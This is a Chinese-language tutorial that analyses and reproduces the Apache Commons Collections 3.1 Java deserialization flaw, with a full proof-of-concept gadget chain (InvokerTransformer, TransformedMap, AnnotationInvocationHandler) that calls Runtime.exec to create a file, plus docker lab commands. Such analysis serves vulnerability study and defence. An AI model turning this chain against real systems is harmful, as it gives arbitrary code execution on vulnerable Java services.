如何進行Apache Commons Collections反序列化漏洞分析與復現

1.1 狀態

完成漏洞挖掘條件分析、漏洞復現。

1.2 漏洞分析

存在安全缺陷的版本:apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache maven 3.6.3。

POC核心代碼:

package com.patrilic.vul;import org.apache.commons.collections.transformer;import org.apache.commons.collections.functors.Constanttransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import Java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//將transformers數組存入ChaniedTransformer這個繼承類Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);//創建Map并綁定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//        //觸發漏洞//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//        onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//將ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的數據流進行反序列化,驗證ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();//    }//}}}

漏洞利用思路:

Transformer接口-實現類-InvokerTransformer(),可調用任何函數。

為實現?Runtime.getRuntime().exec(cmd),要多次調用?transformer?并將當前返回結果作為下次輸入信息。

為調用?Runtime.getRuntime(),考慮?ConstantTransformer?類,它可直接將輸入的參數作為輸出。

ChainedTransformer?作為實現類,對于接收的Transformer?數組,采用自身的transform方法(參數是用戶輸入的)逐次處理Transformer數組對象,將其結果作為下次重復調用的輸入參數。它的?transform()方法即可出觸發漏洞。

為尋找反序列化途徑,即讀進來數據被反序列化執行,則反向尋找可觸發ChainedTransformer?對象?.transform()?方法的途徑。

HashMap類可以鍵值對方式存儲數據,put(key,value)方法可存儲數據。

TransformedMap類的功能是存儲鍵值對并將其轉換為transform objects,decorate()方法可創建鍵值對組,checkSetValue()方法會觸發this.valueTransformer.transform()語句。依次反向尋找調用?checkSetValue()【1】,使?this.valueTransformer?為?ChainedTransformer?對象的途徑【2】。

對于【2】,TransformedMap?類的靜態方法?decorate()可達到目標。

對于【1】,AbstractInputCheckedMapDecorator?類?MapEntry?靜態類的setValue方法會執行this.parent.checkSetValue(value),則接下來應使this.parent為TransformedMap對象【3】。

對于【3】,正向分析POC中此段代碼:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

研究可知,執行過程中多次在AbstractInputCheckedMapDecorator類中,將TransformedMap對象賦值給this.parent,返回Map.Entry對象,正好可以執行setValue()方法,觸發漏洞。

為提升通用性,必須設法使得調用反序列化方法即觸發漏洞,因此,考慮尋找類對象滿足“重寫反序列化readObject()且執行Map類對象變量的setValue(),同時此變量可被控制賦鍵值數據”。AnnotationInvocationHandler類滿足此需求【它對Map類型的成員變量的每個條目均調用setValue()】。

Class.forName()?功能是加載類。

則再次分析,對于【1】,正向分析POC中核心代碼:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();

研究可知,執行過程會執行?MapEntry?靜態類的?setValue?方法,且會執行entrySet?方法使得?this.parent=TransformedMap?對象,從而觸發漏洞。

總的來說,正向的POC構造思路為:先構造?ChainedTransformer?對象,隨后創建 Map 對象,再采用?TransformedMap?類實例將?ChainedTransformer?對象保存至 Map 類對象中,再通過反射方法獲得經 Map 類對象初始化的AnnotationInvocationHandler?類實例,對其進行序列化。

1.3 docker復現

下載制作的docker鏡像,用以下命令:

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1

設置局域網及容器ip、啟動容器,例子:

(1)自定義網絡

docker network create --subnet=192.168.10.1/24 testnet

(2)啟動docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

在容器【Apache-Commons-Collections】中,執行命令【java -jar commons-collections-3.1.jar】,則生成文件【CommonsCollections3.1】,如下圖。

如何進行Apache Commons Collections反序列化漏洞分析與復現

? 版權聲明
THE END
喜歡就支持一下吧
點贊8 分享